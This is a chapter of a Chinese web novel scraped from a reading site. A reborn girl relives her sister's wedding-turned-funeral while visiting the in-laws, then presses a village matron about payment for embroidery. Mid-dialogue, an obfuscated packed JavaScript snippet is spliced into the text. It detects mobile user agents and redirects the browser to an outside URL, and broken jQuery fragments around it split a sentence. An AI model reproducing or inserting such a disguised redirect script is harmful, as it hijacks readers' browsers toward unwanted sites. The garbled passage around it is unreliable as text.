默认冷灰
24号文字
方正启体

17. 红白(修)

作者:吕宋本书字数:K更新时间:
    “今儿朝晨我们族里启土,得守着在那,那边一完事,我娘就让我来了,”姜犁好声好气解释,“叔吃过晌午食了么?”


    李泉水闻声点了点头,起身来接了东西,掂掂糯米粉,又掀坛嗅嗅酸笋,脸色稍缓,才请二人进屋。


    “文淑,给客人倒茶。”


    李泉水拖着嗓子一声吩咐,正蹲在墙角剁猪草的女孩闷声闷气应一句,在裤脚上揩了揩草屑碎渣,站起身,转背从黑黢黢的柜橱里头翻出两只茶杯,就着一盏青花老茶壶,倒了两盏温凉的茶水来。


    姜织自跨进门槛,便将这屋里陈设连同李家父女二人打量一遍。


    李泉水瞧着四十上下,一张瘦长脸,颧骨凸得有些嶙峋,下巴蓄着几缕稀疏发黄的胡须,穿一身破旧的长袍儒衫。而那低头做活,唤作文淑的小姑娘,听名字便知,是李文远的妹妹。


    姜织对二人并不熟悉,前世应该只见过寥寥几回。


    不对,只有两回。


    记忆碎片开始闪回,姜织脑海里浮现出第一回进李家的景象。


    耳边陡然响起一片嘈杂。是震得人耳朵嗡嗡的鞭炮响声,是乌啦啦欢快却刺耳的唢呐声,是左邻右舍挤挤挨挨看热闹的哄笑贺喜声,还有姐姐和娘亲压抑着的啜泣啼哭声......


    “哭哭笑笑,福星高照!”


    “哭一声,富一生,掉颗泪,生个娃,掉串泪,金满家。”


    一个穿着红绸褂子、满脸堆着笑的喜婆,手里拈着块帕子,正口若悬河,满口吉祥话劝慰姐姐娘亲,她的嗓门又亮又尖:“新娘子哭得越好,嫁得越好!穿上嫁衣泪花花,来年保准抱上个胖娃娃。”


    “织妹儿,你提稳火箱,仔细牵好你姐姐,到了那李家,千万要小心托稳了,尤其进门跨火盆那一遭,莫让姐姐磕着绊着,坏了兆头。”


    耳畔是是母亲一边哽咽着,一边细声再三叮嘱。


    眼前是一片刺目的红,大红喜字贴在斑驳的墙上,红艳艳的嫁衣、盖头、绣鞋,小姑娘羞答答不敢多打量,偏又暗暗艳羡得紧的鲜亮新衣裳。


    “新娘子来咯!新娘子来咯!”


    就是在这间屋子,挤满了看热闹的村邻,七嘴八舌,闹闹哄哄。她小心翼翼地搀着姐姐,一步一步,迈过那道不算高的门槛,抬头刹那,目光越过攒动的人头,就看见了堂屋正中椅子上坐着的、满脸肃容的李泉水。


    画面一晃,耳边依旧是嘈嘈切切的声响,似曾相识的鞭炮声、唢呐声、左邻右舍哄闹声、娘亲的啼哭声......


    只是乌啦啦欢快的喇叭音调拖长变慢,走调成了呜呜咽咽的丧乐,满目喜庆的红瞬间褪色,变成铺天盖地的白,白幡、白衣、白花,母亲压抑的啜泣,成了撕心裂肺的哭喊。


    “织织,织织!”姜犁喊了声像是陷入发怔的妹妹,见对方眼神直勾勾的,接连几声都毫无反应,他察觉不太对劲,连忙伸手用力扯了扯她胳膊。


    “姐姐!!”


    姜织出口一声急促的惊呼,一只手捂住了怦怦狂跳的心口,大口大口地喘息,意识归拢,才发现眼前昏昏暗暗,是李家灰黑的墙壁、简陋的橱柜,没有喜庆刺眼的红,也没有愁云惨淡的白。


    “犁耙,你这三妹妹......”姜织那声凄厉的尖叫,将其他人冷不丁给惊一大跳,李泉水脸色渐变,惊疑不定地上下打量着姜织,“她......她难不成时常就这样?”


    李泉水正在板着脸训诫姜犁。


    年前那场风波,茶和山那林寡妇家因为在族里没分到好肉,要死要活又是要撞头、又是拿刀威胁族兄,风言风语都传到落雁村来了。


    这段时间左邻右舍见了李泉水,谁不打趣一句:“瞧着你家未过门的那媳妇儿寻常文文静静,不想是个厉害泼辣角色,娶了儿媳妇进门,你家福气就旺咯!”


    李泉水大感颜面扫地,就憋着气等着姜家来人上门,好生问个清楚,若真如传言那般不堪,哪怕现下还不是正式姻亲,也得好好训诫一番,掰掰这姜家的歪风。


    谁知这姜家兄妹自打进屋,就是锯了嘴的两只闷葫芦,问一句答半句,骂三句回一声,他发作一通,对方也只是低着头不吭声,李文远好歹消了些气,正要质问姜织当日拿刀是谁指使她的?


    谁知话问了两遍,这姜三丫头像是听不见人声,双目直愣愣的,眼神不知飘忽到何处,惨白着脸,身子直挺挺杵在那儿,就跟那鬼上身被定住了似的。


    姜犁接连喊了好几声,这才将对方拉回了魂,谁知这丫头片子开口就是一声厉喊,接着就是用瘆人的目光,来回打量房内几人。


    李泉水被她看得心头一阵发毛,再联想起听说的发魔怔的传言,背上竟窜起一股凉气。


    “你、你你......”李泉水想训斥话头也卡了壳,指着姜织,又惊又怒,“长辈问话,置若罔闻,你、你成何体统!”


    “李九爷,李九爷,在家吗?”


    恰在这时,屋外传来一声响亮的婆子呼喊。话未落音,人已经风风火火地跨了进来。


    来人是个膀大腰圆、面皮红润的婆子,一进门眼神就四处扫,嘴边说道:“听六儿说你亲家来人送礼来了?可是那纭姐儿来了吗?哎哟,我可得好好瞧瞧!”


    “汤老夫人,您怎么亲自来了?快请进,快请进。”


    李泉水一见来人,脸上表情瞬间变了,换上了副不太熟练的谄色笑脸,语气十分热络:“文淑,快倒茶,倒那罐子里的好茶末子。”


    那老妇人浑不在意地摆摆手,见着姜织立在屋里头,便以为是姜纭,当即三两步走上前,亲亲热热地一把拉住姜织的手,上下打量,嘴里连珠炮似的夸赞起来:“哟!这就是文远那未过门的小媳妇吧?瞧瞧这模样,俊的,瞧着就伶俐可人。”


    “不,不是......”


    还不等李泉水解释完,只见这老妇人提起肘边挎着的一个包袱,不由分说就往姜织手里一塞。


    “上回你给补的那双绣鞋,我家安姐儿满意得很,直夸补得巧,绣得妙。真没想到啊,你这姑娘竟有这般玲珑心思,精巧手艺,今儿啊,我是特地来谢你的!”


    她嗓门响亮,语速又快:“这不是,一听到信儿说你来了,我赶紧撂下手里的活计就过来了。就想看看,咱们文远挑中的媳妇,究竟是怎样一个钟灵毓秀的人物。”


    “今日一见,果然名不虚传,般配,和咱们文远真是般配得很呐。”


    “您是?”姜织猝不及防被塞了个包袱在手里,下意识掂了掂,分量不轻,她抬起眼狐疑地问。


    “这是里正家的老夫人,还不快快问好,”李泉水一声喝,又赶紧解释:“老夫人快快坐下喝茶,这是姜家的老三......”


    “茶我就不喝了,家里灶上还炖着菜呢,”那老妇人看着像爽快人,目光又在屋内一番,“你家里有客想必也忙得很,文远呢?文远快回来了吧,我老婆子快人快语,也不绕弯子了,今儿来啊,是有桩好事!”


    “您说,您说,您有什么吩咐?”李泉水连忙接话。


    “喜事,大喜事,”婆子一拍掌,笑得眼睛眯成缝。


    “上回那绣鞋安姐儿不是又穿回她婆家去了么?你猜怎么着?她那妯娌见了都眼热得紧,这不,安姐儿这回回来,再三叮嘱我,一定要好好谢谢纭丫头!”


    她说着,解开那包袱一角,里头露出几件叠好的衣裳边角,看着都是好料子,像是细棉或绸缎,还有几块裁剪好的鞋面。


    “安姐儿为着谢咱们纭丫头,把她的手艺在那些交好的夫人里头这么一说,你猜又怎么着?”汤婆子声音里掩不住喜气,“连她们家常来往的那位尹胥吏夫人都瞧见了,特意问了句。纭姐儿这回啊,可是入了贵人的眼了!”


    她将那些衣料鞋面一一指给姜织看:“这些都是安姐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002741|193146||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    儿带回来的,特意托我请纭姐儿再给绣上。就照上回那样的绣法,花样不拘,你瞧着怎么雅致怎么来,我们都放心得很。”


    说着,她利索地把包袱一系,又压在姜织手上。


    “哎呀,承蒙您如此抬爱,”李泉水喜道。


    “九爷,你放心,那可是胥吏夫人。县里边有头有脸的官家,她们那些夫人时常来往,这绣活儿要是做好了,一传十,十传百的,名声可就出去了。”


    汤婆子凑近些,刻意压着嗓子:“到时候,各家官夫人往自家老爷耳边风这么一吹,文远在县里边,在官老爷那头,还能不记着他的好?那前程,可就......”


    “明白,明白,感谢老夫人提携,安姐儿牵线,”李泉水一点就透,当下喜不自禁躬身道谢。


    “甭谢我,要谢啊,就谢你家文远,好眼光,定了这么个能干又旺夫的媳妇儿,你们李家啊,好福气哟!”


    这边你吹我捧得热火朝天,姜织拎着自己手里沉甸甸的包袱,趁着话头稍歇的空档,再也忍不住地出声打断。


    “老夫人,您认错人了。”


    “我不是姜纭,我是她妹妹。”


    屋里骤然一静,姜织朝老妇人福了福身,又将那个包袱稳稳放回她手中,她抬目看向汤婆子,淡声问:“听您话里意思,是要请我姐姐帮忙做绣活,是么?”


    “不是纭姐儿?”那妇人瞪大了眼,看看姜织,又看看李泉水,一时间有些错愕。


    “是是,您看我,光顾着高兴,嘴慢半拍,没来得及跟您说清楚,”李泉水连忙打圆场,指向姜犁和姜织。


    “这是姜家大的和那第三的兄妹俩,纭姐儿今日没来呢,不过都是一家人,一样的,您有什么话儿要交代,什么活儿要吩咐,让他俩带回去就是了,准保一字不落传到,都是自家人,不必讲些虚礼。”


    汤婆子听李泉水一解释,眼珠转了转,脸上又重新堆起笑来。


    上回李家那未过门的媳妇过来帮忙,姑娘是旁村茶和山的,家里底细稍微打听就清楚的很。爹早没了,一个寡妇娘拖着几个孩子,这门亲事,还是当年李文远祖父欠了人家情,硬定下的。


    这些年来,姜家那边倒是热络,时常送点东西来,李家这边呢,也是穷得揭不开锅,需要有个帮衬,所以婚事才一直拖着,既没说不认,也没说赶紧办。


    未过门的姑娘就被喊过来做活计,村里明眼人其实都有些瞧不上。还是她本家三婶有回去李家借东西,瞧见那姜家丫头衣袖上绣了一片梅枝,很是别致,细一问,才知这竟是块补缺,瞧着比新衣裳上的花样还灵巧。


    回来嘴漏跟她念叨两句,说这姜家姑娘手巧,倒是有些真本事。


    恰巧汤婆子嫁到县里的女儿安姐儿,穿了双簇新缎面绣鞋回娘家,烤火时被炭火迸出的火星子穿了个洞,扔了可惜,不扔再穿着又丢份。


    汤婆子听了她三婶说这事,当下心思一转,就让三婶悄悄把鞋子送去,请那姜家丫头想法子补补。


    那姜二姑娘爽快得很,借了针线,不到一晌午就给补好了,破洞处补得毫无破绽,还用同色丝线绣了几茎兰草,栩栩如生,不仅遮了丑,反倒添了雅致。


    安姐儿喜出望外,又给穿回了婆家,谁能想到,这补过的鞋子,兜兜转转竟被来往的官家夫人瞧上,问起了绣工出处。


    这姜家姑娘,还真是有几分运道。


    “是呢,你二姐好手艺,也有福气,运道来了挡都挡不住,”汤婆子顺着李泉水的话,转向姜织,语气依旧热络亲切。


    “丫头,你回去好好把东西交给你姐姐,叮嘱她,就同上回那样,仔细着做,用心着绣,城里头的贵人等着要呢。”


    “可以是可以,”姜织思索着应声,向前微微倾身,语气平和,却清晰地问:“敢问老夫人,这绣活的工钱怎么算的?先付多少定金?”


    “什么?!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)